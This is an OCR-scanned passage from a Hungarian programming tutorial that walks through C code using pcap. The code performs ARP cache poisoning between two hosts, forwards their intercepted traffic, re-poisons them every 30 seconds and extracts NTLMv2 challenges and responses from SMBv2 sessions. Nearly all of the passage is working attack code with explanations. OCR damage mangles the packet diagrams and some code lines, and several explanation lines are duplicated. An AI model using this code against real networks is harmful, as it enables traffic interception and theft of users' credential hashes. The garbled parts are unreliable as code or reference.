148.Deklardlunk egy starttime nevii time _t tipust valtozot, ebben fogjuk tarolni a lekérdezés
elkiildésének az idépontjat. Azért kell, hogy ne varjuk a végtelenségig, ha nem 1étezd 1P
cimet adtak meg, hanem 10 sec utan kilépjen a program.

149.Az el6bb deklaralt starttime nevill valtozoba betessziik az aktualis 1d6t.

150.Inditunk egy ciklust, amig nem torténik hiba olvasés kdzben (res>=0), nincs meg mind a két
IP cimhez tartoz6 MAC cim, és nem telt el tobb, mint 10 masodperc, hogyha nem létez6 1P
cim lenne megadva, akkor ne varakozzunk 6rokké. Az olvasast a pcap_next ex fiiggvénnyel
olvassuk, aminek a kovetkezOk a bemend paraméterei:

* Akartyara mutat6 handle, amit a pcap_open fliggvény adott vissza.

* Egy pcap_pkthdr struktirara mutaté pointer, ahol a header adatokat fogjuk
megkapni

* Egy u_char tipusu struktirara mutaté pointer, ezen keresztiil kapjuk majd meg a
csomag adat bytejait.

151.Ciklus indul

152.ha azért 1éptiink be a ciklusba, mert 0 volt a pcap next ex visszatérési értéke, akkor timeout
tortént, nem 0j csomagot kaptunk,



153.tehat folytatjuk a ciklust

154.ellendrizziik, hogy a csomag az els6 IP cimhez tartozo kérdésre-e a valasz. Megnézziik,
hogy a csomag adatai kozott a 28..31 byteok a megegyeznek az iplarr tomb 0..3 elemeivel,
¢s még nem kaptuk meg az elsé mac cimet.

155.1f igaz 4ga indul

156.letaroljuk a visszakapott mac cimet. A csomag 22..27 bytejai tartalmazzék a valaszt, ezt
betessziik a maclarr 0..5 bytejaira.

157.letaroljuk a visszakapott mac cimet. A csomag 22..27 bytejai tartalmazzék a valaszt, ezt
betessziik a maclarr 0..5 bytejaira.

158.letaroljuk a visszakapott mac cimet. A csomag 22..27 bytejai tartalmazzék a valaszt, ezt
betessziik a maclarr 0..5 bytejaira.

159.letaroljuk a visszakapott mac cimet. A csomag 22..27 bytejai tartalmazzék a valaszt, ezt
betessziik a maclarr 0..5 bytejaira.

160.letaroljuk a visszakapott mac cimet. A csomag 22..27 bytejai tartalmazzak a valaszt, ezt
betessziik a maclarr 0..5 bytejaira.

161.letaroljuk a visszakapott mac cimet. A csomag 22..27 bytejai tartalmazzék a vélaszt, ezt
betessziik a maclarr 0..5 bytejaira.

162.Beallitjuk, hogy az elsd mac cimet megkaptuk.

163.Vége az ifnek, hogy az els6 IP cimre kaptuk a valaszt

164.ellendrizziik, hogy a csomag a masodik IP cimhez tartoz6 kérdésre-e a valasz. Megnézziik,
hogy a csomag adatai kozott a 28..31 byteok a megegyeznek az ip2arr tomb 0..3 elemeivel,
¢s még nem kaptuk meg a masodik mac cimet.

165.1f igaz 4ga indul

166.letaroljuk a visszakapott mac cimet. A csomag 22..27 bytejai tartalmazzék a valaszt, ezt
betessziik a mac2arr 0..5 bytejaira.

167.letaroljuk a visszakapott mac cimet. A csomag 22..27 bytejai tartalmazzék a vélaszt, ezt
betessziik a mac2arr 0..5 bytejaira.

168.letaroljuk a visszakapott mac cimet. A csomag 22..27 bytejai tartalmazzék a valaszt, ezt
betessziik a mac2arr 0..5 bytejaira.

169.letaroljuk a visszakapott mac cimet. A csomag 22..27 bytejai tartalmazzéak a vélaszt, ezt
betessziik a mac2arr 0..5 bytejaira.

170.letaroljuk a visszakapott mac cimet. A csomag 22..27 bytejai tartalmazzék a valaszt, ezt
betessziik a mac2arr 0..5 bytejaira.

171.letaroljuk a visszakapott mac cimet. A csomag 22..27 bytejai tartalmazzék a valaszt, ezt
betessziik a mac2arr 0..5 bytejaira.

172.Beallitjuk, hogy a masodik mac cimet megkaptuk.

173.Vége az ifnek, hogy a masodik IP cimre kaptuk a valaszt

174.Vége a ciklusnak, amivel a csomagokat fogtuk el.

175.Ellendrizziik, hogy ha azért lett vége a ciklusnak, mert a pcap_next ex eredménye negativ
lett, akkor hiba tortént.

176.indul az if igaz 4ga

177 kiirjuk, hogy hiba tortént, €s mi a hibakod

178.kilépiink a programbdl.

179.Vége az ellendrzd if-nek.

Poisoning csomagok 6sszeallitasa

Kovetkezd feladatunk a poisoning csomagok dsszeallitdsa. Mivel az ARP cache dinamikus, ezért
folyamatosan kell majd jra poisonongolni, ugyhogy ezekre az §sszeallitott csomagokra még
sziikség lesz.



poisoningolashoz hasznalt ARP csomagoknak a kdvetkezdképpen kell kinézniiik:

* Destination MAC 6 byte (egyik poisoningolt MAC cime)

* Source MAC 6 byte (kozépre all6 MAC cime)

* type 2 byte (0x0806)

* hardware type 2 byte (0x0001 ethernet)

* protocol type 2 byte (0x0800 ethernet)

* hardware size 1 byte (0x06)

* protocol size 1 byte (0x04)

* opcode 2 byte (0x0002 reply)

* Sender MAC address 6 byte (kozépre all6 MAC cime)

* Sender IP address 4 byte (masik poisoningolt IP cime)

* Target MAC address 6 byte (egyik poisoningolt MAC cime)

* Target IP address 4 byte (egyik poisoningolt IP cime)
Osszesen 42 byte.

Az elsd Poisoning csomag, ezt az elsd IP cimhez tartozéd gépnek kiildjiik, és azt allitjuk benne, hogy
a masodik IP cimhez a mi MAC cimiink tartozik.

180. u_char poisonto1[42] =

181. {maclarr[0], maclarr[1], maclarr[2], maclarr[3], maclarr[4], maclarr[5],

182. OidData->Data[0],0idData->Data[1],0idData->Data[2],0idData->Data[3],0idData->Data[4],0idData-
>Datal[5],

183. 0x08, 0x06,

184. 0x00, 0x01,

185. 0x08, 0x00,

186. 0x06,

187. 0x04,

188.  0x00, 0x02,

189. OidData->Data[0],0idData->Data[1],0idData->Data[2],0idData->Data[3],0idData->Data[4],0idData-
>Datal[5],

190. ip2arr[0], ip2arr[1], ip2arr[2], ip2arr[3],

191. maclarr[0], maclarr[1], maclarr[2], maclarr[3], maclarr[4], maclarr[5],

192. iplarr[0], iplarr[1], iplarr[2], iplarr[3]

193. };

180.Deklaralunk egy poisontol nevii 42 db u_char tipusu elembdl all6 tombot.
181.Az els6 IP cimhez tartozé6 MAC cimre kiildjiik a csomagot
182.a sajat MAC cimiinkrol

183.A csomag tipusa 0x0806

184.A hardware tipuse 0x0001 vagyis ethernet

185.A protocol tipusa 0x0800 vagyis ethernet

186.A hardware size 0x06

187.A protocol size 0x04

188.Az opcode 0x0002 vagyis arp reply

189.A valaszban a mi MAC addressiinket hazudjuk

190.A masodik IP addresshez.

191.A valaszt az egyes MAC cimii gépnek kiild;iik.

192. Target IP address szintén az egyes gép.

193.vége a poisoning csomagnak.

A masodik Poisoning csomag, ezt a masodik IP cimhez tartozé gépnek kiildjiik, és azt allitjuk
benne, hogy az elsd IP cimhez a mi MAC cimiink tartozik.

194. u_char poisonto2[42] =



195.  {mac2arr[0], mac2arr[1], mac2arr[2], mac2arr[3], mac2arr[4], mac2arr[5],

196. OidData->Data[0],0idData->Data[1],0idData->Data[2],0idData->Data[3],0idData-
>Data[4],0idData->Data[5],

197.  0x08, 0x06,

198.  0x00, 0x01,

199.  0x08, 0x00,

200. 0x06,

201.  0x04,

202.  0x00, 0x02,

203. OidData->Data[0],0idData->Data[1],0idData->Data[2],0idData->Data[3],0idData-
>Data[4],0idData->Data[5],

204. iplarr[0], iplarr[1], iplarr[2], iplarr[3],

205. mac2arr[0], mac2arr|[ 1], mac2arr[2], mac2arr[3], mac2arr[4], mac2arr[5],

206. ip2arr[0], ip2arr[1], ip2arr[2], ip2arr[3]

207. };

194.Deklaralunk egy poisonto2 nevii 42 db u_char tipusu elembdl all6 tombot.
195.Az masodik IP cimhez tartoz6 MAC cimre kiildjiik a csomagot
196.a sajat MAC cimiinkrol

197.A csomag tipusa 0x0806

198.A hardware tipuse 0x0001 vagyis ethernet

199.A protocol tipusa 0x0800 vagyis ethernet

200.A hardware size 0x06

201.A protocol size 0x04

202.Az opcode 0x0002 vagyis arp reply

203.A valaszban a mi MAC addressiinket hazudjuk

204.Az els6 IP addresshez.

205.A valaszt a masodik MAC cimil gépnek kiild;iik.

206.Target IP address szintén a masodik gép IP cime.

207.vége a poisoning csomagnak.

Poisoning csomagok elkiildése

Ezutan az sszeallitott csomagokat mar csak el kell kiildentink. A kiildéshez ismét a
pcap_sendpacket fliggvényt kell hasznalni:

208. if (pcap_sendpacket(adhandle, poisontol, 42) !=0)

209. {

210. fprintf(stderr,"\nError sending the poisoning packet: %s\n", pcap geterr(adhandle));
211. exit(10);

212}
213.  if (pcap_sendpacket(adhandle, poisonto2, 42) !=0)
214. |

215. fprintf(stderr,"\nError sending the poisoning packet: %s\n", pcap geterr(adhandle));
216. exit(11);
217. )

208.A csomagokat a pcap sendpacket fliggvénnyel kiildhetjiik el. A fiiggvény 0-t ad visszatérd
értéknek, ha sikeriilt az elkiildés, bArmi mas azt jelenti, hogy hiba volt. A fliggvénynek
harom paramétere van:



* Akartyara mutat6 handle, amit a pcap_open filiggvény adott vissza
* az elkiildendé csomag most a poisontol valtozoban van.
* az elkiildend6 byteok szdma, arp csomag esetében 42 byte.
209.indul az if igaz 4ga
210.Ha hiba tortént kiirjuk, hogy hiba van
211.kilépiink a programbol
212.vége az if igaz aganak
213.elkiildjiik a poisonto2 csomag tartalmat hasonléan az el6z6 kiildéshez.
214.indul az if igaz aga
215.Ha hiba tortént kiirjuk, hogy hiba van
216.kilépiink a programbol
217.vége az if igaz dganak

Filter atallitasa, hogy IP csomagokat lassuk

majd beallitjuk a filtert, hogy ezentul az IP csomagokat figyeljiik. Ehhez ismét filtert kell
hasznalnunk amit egyszer mar megtettiink.

218. if (pcap_compile(adhandle, &fcode, "ip", 1, netmask) < 0)

219.

220. fprintf(stderr,"\nUnable to compile the packet filter. Check the syntax.\n");
221. pcap_freealldevs(alldevs);

222. exit(12);

223. )
224. if (pcap_setfilter(adhandle, &fcode) < 0)
225.

226. fprintf(stderr,"\nError setting the filter.\n");
227. pcap_freealldevs(alldevs);

228. exit(13);

229. }

218.A pcap_compile fiiggvénnyel leforditjuk a filtert. Ha a fliggvény kimenete negativ, akkor
hiba tortént. A pcap_compile fiiggvénynek a kdvetkezd paramétereket kell megadnunk:
* akartyara mutaté handle, amit a pcap open fiiggvény adott vissza.
* Aleforditott filter kodra mutato pointer, ezt fogjuk visszakapni
» filter stirng. Mivel most az IP comagokat akarjuk elkapni, ezért az értéke "ip". A filter
kis-NAGY betli érzékeny!
* Egy?7?
* netmask ezt csak bizonyos esetekben hasznalja, pl annak megallapitasara mi a broadcast
tizenet, nekiink igazandibdol most nem is kell.
219.indul az if-nek az igaz aga
220.ha hiba tortént kiirjuk, hogy hiba van
221.felszabaditjuk az eszkozoket
222 kilépiink hibakoddal
223.vége az if igaz dganak
224 .beallitjuk a filtert a pcap_setfilter fiiggvénnyel. Ha a visszakapott eredmény negativ, akkor
hiba tortént. A fliggvény bemend paraméterei a kovetkezok:
* A Kkartyara mutaté handle, amit a pcap open fiiggvény adott vissza.
* Aleforditott filter kodra mutaté pointer, az el6z6 pcap compile adta viszza
225.indul az if igaz 4ga



226.Ha hiba tortént kiirjuk, hogy hiba van
227.felszabaditjuk a lefoglalt er6forrasokat
228 kilépiink a programbol

229.vége az if igaz 4ganak

Elfogott csomagok vizsgalata

Végeztiink a poisoningoldssal, mostmar csak folyamatosan figyelniink kell a beérkezé csomagokat.
A cikluson beliil a kovetkez6 fontos részfeladatokat kell megoldanunk:

1. amennyiben nem a mi szamitégépiinknek, hanem valamelyik poisoningolt gépnek megy a
csomag, akkor tovabbitanunk kell fel¢. Ehhez meg kell vizsgalnunk, hogy a csomagban az
IP cim, ami a 30..33 byteokon taldlhato valamelyik poisoningolt gépé-e. Amennyiben igen,
akkor 0..5 bytokon talalhato6 MAC cimet ki kell cserélni az adott gép valodi MAC cimére, €s
ki kell kiildeni a csomagot.

2. A poisoningolast fent kell tartani. Ehhez 30 masodpercenként ujrakiildjiik a mar kordbban is
elkiildott poisoning csomagokat.

3. Masik fontos feladatunk a program tulajdonképpeni célja, az SMBv2 protokollbdl kiszedni a
sziikséges adatokat. Ehhez nézziik meg az smbv2 protokollnak azokat a részleteit, amik
nekiink kellenek. Két fajta csomag érdekes szdmunkra a challange-et tartalmazo, és az
ntlmv?2 response-t tartalmazo:

challange csomag, aminek a szamunkra 1ényeges felépitése a kovetkezéképpen néz ki:

ETHERNET HEADER IP HEADER...
Destinatin MAC Source MAC other info Ipversion, Ipheader size(in wopd)
0..5 bytes 6..11 bytes | 12..13 bytes 14. byte 0..3 bits  4..7 bits 1

...IP HEADER TCP HEADER...
Other info TCP header size (in word)
l4+ipheadersize.. l4+ipheadersize+12 (0..3 bits)

...I'CP HEADER| NetBIOS HEADER SMB HEADER...
Other info signature: fe, 53, 4d, 42 session
setup |

14+ipheadersize+

...SMB HEADER Session Setup Request

request offset (ssroff) other infg  ntlmv2 offset (ntlmoffs) other info
+tcpheadersize+8 (2 bytes l4+ipheadersize+tcpheadersize+4+ssroff (2 bytgs)

ntlmv2 .
Otherinfo signature (4e,54,4¢,4d,53,53,50,00,02,00,00,00)
14+1pheader51ze+tcph ade r51ze+4+ssr0ff+ntlm4£fs
1 A 1e,

A 1 4 Ageqirr | 1 L‘n_l_ 1
o 11,}116 dersizette pu CISIZCT4 O NtrmMOTIS o1

.. ntlmv2
Otherinfo challange wee need this (8 bytes)
14+1pheaders1ze+tcpheader51ze+4+ssroff+ntlmoffs+4




response csomag, aminek a szamunkra Iényeges felépitése a kovetkezoképpen néz ki:

ETHERNET HEADER IP HEADER...
Destinatin MAC Source MAC other info Ipversion, Ipheader size(in wopd)
0..5 bytes 6..11 bytes 12..13 bytes 14. byte 0..3 bits  4..7 bits 1
...IP HEADER TCP HEADER...
Other info TCP header size (in word)
l4+ipheadersize.. l4+ipheadersize+12 (0..3 bits)
..TCP HEADER NetBIOS HEADER SMB HEADER...
Other info signature: fe, 53, 4d, 42 session
setup |
144+inheadeorcizottonhag dasea: 14+inheadercizottonhagdarci—- A1 A4
=T IPIICQUUI DIZCT Lbl)lanUUl ) VA I=T 1yucauc1 OIZCTT Luyucau61 DIV T
14+ipheadersize+
...SMB HEADER Session Setup Request
request offset (ssroff) should 41 other iffo  ntlmv2 offset (ntlmoffs)
other info l l
tarmhnadarcizal Q () Tacitnac) 1443 heoadorcizaltanmhan darcioal A carnff (D Tt )
T L\/PIICCIUCI SIZC T O \L U_y I.CD} I=T IPIICQUCI SIZCTT L\,pucauc1 NI VAVERS BENNISOIEE \L Uy LUD}
ntlmv2 ..
Otherinfo signature: 4e,54,4¢,4d,53,53,50,00,03,00,00,00
14+ipheadersize+tcpheade r51ze+4+ssr0ff+ntlm5|£fs
H-+ipheadersizetHtepheadersize +4-+ssroffntimoffs+21

.. ntlmv2...
Otherinf@ length of ntlmv2 response we need 2 bytes (Ilength) otherjinfo  Ntlmv2 response
14~+ipheadersize+tcpheadersize+4+ssroff+ntlmoffs+4 14+ipheadersize+tcpheadersize

.. ntlmv2...
offset (ntlmrespoffsj other inf§ ntlmv2 response we need (length number of bytes)
+4+ssroff+ntlmofts+45 4+ipheadersize+tcpheadersize+4-+ssroff+ntlmoffs+2 1 +ntlmrespoft:

.. ntlmv2
other info

Ezt az egész miiveletsort a kdvetkezd kodrészlet végzi el:

230. time_t poisonlastsent;

231. poisonlastsent = time (NULL);
232. u_char pkt data2[1536];

233. u_char iphead, tcphead;

234, int offsetl, offset2, offset3, length;
235. u_char *offsetlarr, *offset2arr, *offset3arr, *lengtharr;
236. offsetlarr = (u_char *)&offsetl;
237. offset2arr = (u_char *)&offset2;
238. offset3arr = (u_char *)&offset3;
239. lengtharr = (u_char *)&length;
240. u_char challange[8];

241. u_char response[1536];



242. while((res = pcap_next ex(adhandle, &header, &pkt data)) >= 0)

243. {

244, if(res == 0)

245. continue;

246. if ((pkt_data[30]==iplarr[0]) && (pkt data[31]==iplarr[1]) &&

(pkt_data[32]==iplarr[2]) && (pkt data[33]==iplarr[3]) && (pkt data[0]==0OidData-
>Data[0]) && (pkt_data[1]==0OidData->Data[1]) && (pkt data[2]==0idData->Data[2])
&& (pkt_data[3]==OidData->Data[3]) && (pkt data[4]==OidData->Data[4]) &&
(pkt_data[5]==0idData->Data[5]))

247. {

248. CopyMemory(pkt data2,pkt data,header->len);

249. pkt data2[0]=maclarr[0];

250. pkt data2[1]=maclarr[1];

251. pkt data2[2]=maclarr[2];

252. pkt data2[3]=maclarr[3];

253. pkt data2[4]=mac]larr[4];

254, pkt data2[5]=maclarr[5];

255. pkt data2[6]=0OidData->Data[0];

256. pkt data2[7]=0idData->Data[1];

257. pkt data2[8]=0OidData->Data[2];

258. pkt data2[9]=0OidData->Data[3];

259. pkt data2[10]=0OidData->Data[4];

260. pkt data2[11]=0OidData->Data[5];

261. if (pcap_sendpacket(adhandle, pkt data2, header->len) !=0)

262. {

263. printf(""\nError sending the packet to ipl: %s. Only %d bytes
were sent\n", pcap_geterr(adhandle), res);

264. exit(14);

265. }

266. }

267. if ((pkt_data[30]==ip2arr[0]) && (pkt data[31]==ip2arr[1]) &&

(pkt data[32]==ip2arr[2]) && (pkt data[33]==ip2arr[3]) && (pkt data[0]==OidData-
>Data[0]) && (pkt_data[1]==0OidData->Data[1]) && (pkt data[2]==0idData->Data[2])
&& (pkt_data[3]==OidData->Data[3]) && (pkt data[4]==OidData->Data[4]) &&
(pkt_data[5]==0idData->Data[5]))

268. {

269. CopyMemory(pkt data2,pkt data,header->len);
270. pkt data2[0]=mac2arr[0];

271. pkt data2[1]=mac2arr[1];

272. pkt data2[2]=mac2arr[2];

273. pkt data2[3]=mac2arr[3];

274, pkt data2[4]=mac2arr[4];

275. pkt data2[5]=mac2arr[5];

276. pkt data2[6]=0OidData->Data[0];

277. pkt data2[7]=0idData->Data[1];

278. pkt data2[8]=0OidData->Data[2];

279. pkt data2[9]=0OidData->Data[3];

280. pkt data2[10]=OidData->Data[4];

281. pkt data2[11]=0OidData->Data[5];

282. if (pcap_sendpacket(adhandle, pkt data2, header->len) !=0)
283. {

284, printf("\nError sending the packet to ip2: %s. Only %d bytes



were sent\n", pcap_geterr(adhandle), res);

285. exit(14);

286. }

287. }

288. if (header->len > 300)

289. {

290. iphead=(pkt data[14] << 4)>>2;

291. tcphead=(pkt data[14+iphead+12] >>4) << 2;
292. if ((pkt_data[14+iphead+tcphead+4]==0xfe) &&

(pkt_data[14+iphead+tcphead+5]==0x53) && (pkt data[14+iphead+tcphead+6]==0x4D)
&& (pkt_data[14+iphead-+tcphead+7]==0x42))

293. {// SMBv2 protokoll

294, offsetlarr[3]=0;

295. offsetlarr[2]=0;

296. offsetlarr[1]=pkt_ data[14+iphead+tcphead+9];

297. offsetlarr[0]=pkt data[14+iphead+tcphead+8];

298. offset2arr[3]=0;

299. offset2arr[2]=0;

300. offset2arr[1]=pkt data[l4+iphead+tcphead+4-+offsetl+1];
301. offset2arr[0]=pkt data[ 14+iphead+tcphead+4-+offsetl];
302. offset2=offset2-1;

303. if

((pkt_data[14+iphead+tcphead+4-+offsetl+offset2+31]==0x4e) &&
(pkt_data[14+iphead+tcphead+4+offsetl +offset2+32]=—=0x54) &&
(pkt_data[14+iphead+tcphead+4+offset]l +offset2+33]==0x4c) &&
(pkt_data[14+iphead+tcphead+4+offsetl +offset2+34]==0x4d) &&
(pkt_data[14+iphead+tcphead+4+offset]l +offset2+35]==0x53) &&
(pkt_data[14+iphead+tcphead+4+offsetl +offset2+36]=—=0x53) &&
(pkt_data[14+iphead+tcphead+4+offset]l +offset2+37]==0x50) &&
(pkt_data[14+iphead+tcphead+4+offsetl+offset2+38]==0x00) &&
(pkt_data[14+iphead+tcphead+4+offset]l +offset2+39]==0x02) &&
(pkt_data[14+iphead+tcphead+4+offsetl +offset2+40]==0x00) &&
(pkt_data[14+iphead+tcphead+4+offset]l +offset2+41]==0x00) &&
(pkt_data[14+iphead+tcphead+4-+offsetl +offset2+42]==0x00))

304. { //NTLMSSP request

305. printf("\nchallange: ");

306. for(i=0;1<8;1++)

307. {

308. challange[i]=pkt data[14+iphead+tcphead+4+offsetl+offset2+55+i];
309. if (challange[i]<16)

310. {

311. printf("0%x",challange[i]);
312. }

313. else

314. {

315. printf("%x",challange[i]);
316. }

317. }

318. }

319. if

((pkt_data[14+iphead+tcphead+4-+offsetl+offset2+21]==0x4e) &&
(pkt_data[14+iphead+tcphead+4+offsetl +offset2+22]=—=0x54) &&



(pkt_data[14+iphead+tcphead+4+offset]l +offset2+23]==0x4c) &&
(pkt_data[14+iphead+tcphead+4+offsetl +offset2+24|==0x4d) &&
(pkt_data[14+iphead+tcphead+4+offset] +offset2+25]==0x53) &&
(pkt_data[14+iphead+tcphead+4+offsetl +offset2+26]=—=0x53) &&
(pkt_data[14+iphead+tcphead+4+offset]l +offset2+27]==0x50) &&
(pkt_data[14+iphead+tcphead+4+offsetl +offset2+28]==0x00) & &
(pkt_data[14+iphead+tcphead+4+offset]l +offset2+29]==0x03) &&
(pkt_data[14+iphead+tcphead+4+offsetl+offset2+30]==0x00) &&
(pkt_data[14+iphead+tcphead+4+offset]l +offset2+31]==0x00) &&
(pkt_data[14+iphead+tcphead+4-+offset] +offset2+32]==0x00))

320. { //NTLMSSP response
321. printf("\nHMAC: ");
322. lengtharr[3]=0;
323. lengtharr[2]=0;
324.
lengtharr[1]=pkt data[14+iphead+tcphead+4+offsetl+offset2+42];
325.
lengtharr[0]=pkt data[14+iphead+tcphead+4+offsetl+offset2+41];
326. offset3arr[3]=0;
327. offset3arr[2]=0;
328. offset3arr[1]=pkt data[l4+iphead+tcphead+4+offsetl+offset2+46];
329. offset3arr[0]=pkt data[14+iphead+tcphead+4-+offsetl+offset2+45];
330. for(i=0;i<length;i++)
331. {
332. if (i==16) printf("\nClient BLOB:");
333.
response[i]=pkt data[14+iphead+tcphead+4+offsetl+offset2+21+offset3+i];
334, if (response[i]<16)
335. {
336. printf("0%x",response[i]);
337. }
338. else
339, {
340. printf("%x" ,response[i]);
341, }
342. }
343. }
344, }
345. }
346. if (difftime(time(NULL),poisonlastsent)>30)
347, {
348. if (pcap_sendpacket(adhandle, poisontol, 42) != 0)
349, {
350. fprintf(stderr,"\nError sending the repoisoning packet: %s\n",
pcap_geterr(adhandle));
351. exit(15);
352. }
353. if (pcap_sendpacket(adhandle, poisonto2, 42) != 0)
354, {
355. fprintf(stderr,"\nError sending the repoisoning packet: %s\n",

pcap_geterr(adhandle));
356. exit(16);



357. }

358. poisonlastsent = time (NULL);
359. }

360. }

361. pcap_freealldevs(alldevs);

362.}

230.Deklaralunk egy poisonlastsent nevii valtozot, ebbe fogjuk betenni az utolsé poisoningolas
idépontjat, mert 30 masodpercenként Ujra kell majd kiildeni.

231.Az eldbb deklaralt poisonlastsent nevii valtozéba betessziik az aktualis 1d6t.

232.Deklaralunk egy pkt data2 nevii u_char tipust elemekbdl all6 tombot. Mivel az IP csomag
maximum 1536 byte lehet, ezért ekkora a mérete. Ebbe fogjuk atmasolni az elfogott csomag
tartalmat, és modositani a MAC cimet a valodi célra, majd kikiildeni. Azért van erre
sziikség, mert a pkt_data nevii valtozo csak olvashato.

233.Definidlunk egy iphead, és egy tcphead nevii u_char tipust valtozot. Ebbe tessziik majd a az
IP csomag illetve a TCP csomag méretét.

234.Deklaraljuk az offsetl, offset2, offset3, és length nevii valtozokat. Ezekbe tessziik majd az
elfogott csomagbodl a request offset (ssroff), ntlmv2 offset (ntlmoffs), NTLMv2 Response
offset (ntlmrespoffs), és a length of ntlmv2 response (length) értékeket.

235.Deklaraljuk az offsetlarr, offset2arr, offset3arr, €s lengtharr nevii u_char tipust valtozokat.
Mivel a csomagban byteonként latjuk az el6z0 értékeket, ezért bedllitunk majd, hogy
ugyanarra a fizikai memoria cimre mutassanak, mint az elétte 1étrehozott offsetl, offset2,
offse3, és length tipusu valtozok.

236.Beallitjuk, hogy az offsetlarr nevii tomb ugyanarra a memoria cimre mutasson, mint az
offsetl nevi int tipust valtozo, igy az ott talalhato értéket byte tdmbként, vagy integerként is
kezelhetem.

237.Bedllitjuk, hogy az offset2arr nevii tomb ugyanarra a memdoria cimre mutasson, mint az
offset2 nevi int tipust valtozo, igy az ott talalhato értéket byte tdmbként, vagy integerként is
kezelhetem.

238.Beallitjuk, hogy az offset3arr nevii tomb ugyanarra a memoria cimre mutasson, mint az
offset3 nevii int tipust valtozo, igy az ott talalhato értéket byte toémbként, vagy integerként is
kezelhetem.

239.Beallitjuk, hogy az lengtharr nevii tomb ugyanarra a memoria cimre mutasson, mint a length
nevi int tipusu valtozo, igy az ott talalhato értéket byte tombként, vagy integerként is
kezelhetem.

240.Deklaralunk a challange-nek egy valtozot. Mivel a challange 8 byteos, ezért egy 8 elemil
u_char tipust valtozokbol 4ll6 témbbe tessziik.

241.Deklaralunk egy valtozot a response-nak. Mivel a response mérete valtozo, ezért az IP
csomagban maximalisan atvihetd 1536 byte-ot allitjuk be méretnek.

242.0lvassuk a csomagokat a mar ismert modon. Inditunk egy ciklust, amig nem torténik hiba
olvasas kozben (res>=0). Az olvasast a pcap_next_ex fliggvénnyel olvassuk, aminek a
kovetkezOk a bemend paraméterei:
* A kartyara mutaté handle, amit a pcap_open fiiggvény adott vissza.
* Egy pcap_pkthdr struktirira mutaté pointer, ahol a header adatokat fogjuk

megkapni
* Egy u_char tipusid struktirara mutato pointer, ezen keresztiil kapjuk majd meg a
csomag adat bytejait.

243.Indul a ciklus

244.ha azért Iéptiink be a ciklusba, mert O volt a pcap_next ex visszatérési értéke, akkor timeout
tortént, nem 0j csomagot kaptunk,

245.tehat folytatjuk a ciklust

246.Megvizsgaljuk, ha a csomag a mi MAC cimiinkre, de az IP1-es cimre érkezett, akkor



247.kezdddik az if igaz aga

248.Az elfogott csomagot tartalmat a pkt data csomagbol atmasoljuk a pkt data2 nevii
valtozoba, hogy mddosithato legyen. Az elfogott csomag méretét a header->length
tartalmazza.

249. Atirjuk a destination MAC cimet a csomagban az IP1-hez tartoz6 valédi MAC cimre, amit a
maclarr nevil tdombben taroltunk le.

250.Atirjuk a destination MAC cimet a csomagban az IP1-hez tartozé valédi MAC cimre, amit a
maclarr nevil tdombben taroltunk le.

251.Atirjuk a destination MAC cimet a csomagban az IP1-hez tartoz6 valédi MAC cimre, amit a
maclarr nevil tombben taroltunk le.

252. Atirjuk a destination MAC cimet a csomagban az IP1-hez tartozé valédi MAC cimre, amit a
maclarr nevil tombben taroltunk le.

253.Atirjuk a destination MAC cimet a csomagban az IP1-hez tartozé valédi MAC cimre, amit a
maclarr nevil tombben taroltunk le.

254. Atirjuk a destination MAC cimet a csomagban az IP1-hez tartozé valédi MAC cimre, amit a
maclarr nevil tdombben taroltunk le.

255.Atirjuk a source MAC cimet a csomagban a sajat MAC cimiinkre, mert az IP1-es gép gy
tudja, hogy a mi MAC cimiink tartozik az IP2-es géphez.

256.Atirjuk a source MAC cimet a csomagban a sajat MAC cimiinkre, mert az IP1-es gép gy
tudja, hogy a mi MAC cimiink tartozik az IP2-es géphez.

257.Atirjuk a source MAC cimet a csomagban a sajat MAC cimiinkre, mert az IP1-es gép gy
tudja, hogy a mi MAC cimiink tartozik az IP2-es géphez.

258.Atirjuk a source MAC cimet a csomagban a sajat MAC cimiinkre, mert az IP1-es gép gy
tudja, hogy a mi MAC cimiink tartozik az IP2-es géphez.

259.Atirjuk a source MAC cimet a csomagban a sajat MAC cimiinkre, mert az IP1-es gép gy
tudja, hogy a mi MAC cimiink tartozik az IP2-es géphez.

260.Atirjuk a source MAC cimet a csomagban a sajat MAC cimiinkre, mert az IP1-es gép gy
tudja, hogy a mi MAC cimiink tartozik az IP2-es géphez.

261.Elkiildjiik a csomagot. Egy if feltétellel ellendrizziik, hogy tortént-e hiba a kiildés soran.

262.1f igaz 4ga, vagyis ha hibatortént

263.kiirjuk, hogy hiba tortént a tovabbitas kozben

264 .kiléplink

265.vége a csomag kiildés hibajat lekezel? if dgnak

266.vége az IP1 felé forwardolast végzd if 4gnak

267.Megvizsgaljuk, ha a csomag a mi MAC cimiinkre, de az IP2-es cimre érkezett, akkor

268.kezdddik az if igaz aga

269.Az elfogott csomagot tartalmat a pkt data csomagbol dtmasoljuk a pkt data2 nevii
valtozoba, hogy modosithatd legyen. Az elfogott csomag méretét a header->length
tartalmazza.

270.Atirjuk a destination MAC cimet a csomagban az IP2-hez tartoz6 valédi MAC cimre, amit a
mac2arr nevil tombben taroltunk le.

271.Atirjuk a destination MAC cimet a csomagban az IP2-hez tartoz6 valédi MAC cimre, amit a
mac2arr nevil tombben taroltunk le.

272. Atirjuk a destination MAC cimet a csomagban az IP2-hez tartoz6 valédi MAC cimre, amit a
mac2arr nevil tombben taroltunk le.

273.Atirjuk a destination MAC cimet a csomagban az IP2-hez tartoz6 valédi MAC cimre, amit a
mac2arr nevil tombben taroltunk le.

274.Atirjuk a destination MAC cimet a csomagban az IP2-hez tartoz6 valédi MAC cimre, amit a
mac2arr nevil tombben taroltunk le.

275.Atirjuk a destination MAC cimet a csomagban az IP2-hez tartoz6 valédi MAC cimre, amit a
mac2arr nevil tombben taroltunk le.

276.Atirjuk a source MAC cimet a csomagban a sajat MAC cimiinkre, mert az IP2-es gép gy



tudja, hogy a mi MAC cimiink tartozik az IP1-es géphez.

277.Atirjuk a source MAC cimet a csomagban a sajat MAC cimiinkre, mert az IP2-es gép gy
tudja, hogy a mi MAC cimiink tartozik az IP1-es géphez.

278.Atirjuk a source MAC cimet a csomagban a sajat MAC cimiinkre, mert az IP2-es gép gy
tudja, hogy a mi MAC cimiink tartozik az IP1-es géphez.

279.Atirjuk a source MAC cimet a csomagban a sajat MAC cimiinkre, mert az IP2-es gép gy
tudja, hogy a mi MAC cimiink tartozik az IP1-es géphez.

280.Atirjuk a source MAC cimet a csomagban a sajat MAC cimiinkre, mert az IP2-es gép gy
tudja, hogy a mi MAC cimiink tartozik az IP1-es géphez.

281.Atirjuk a source MAC cimet a csomagban a sajat MAC cimiinkre, mert az IP2-es gép gy
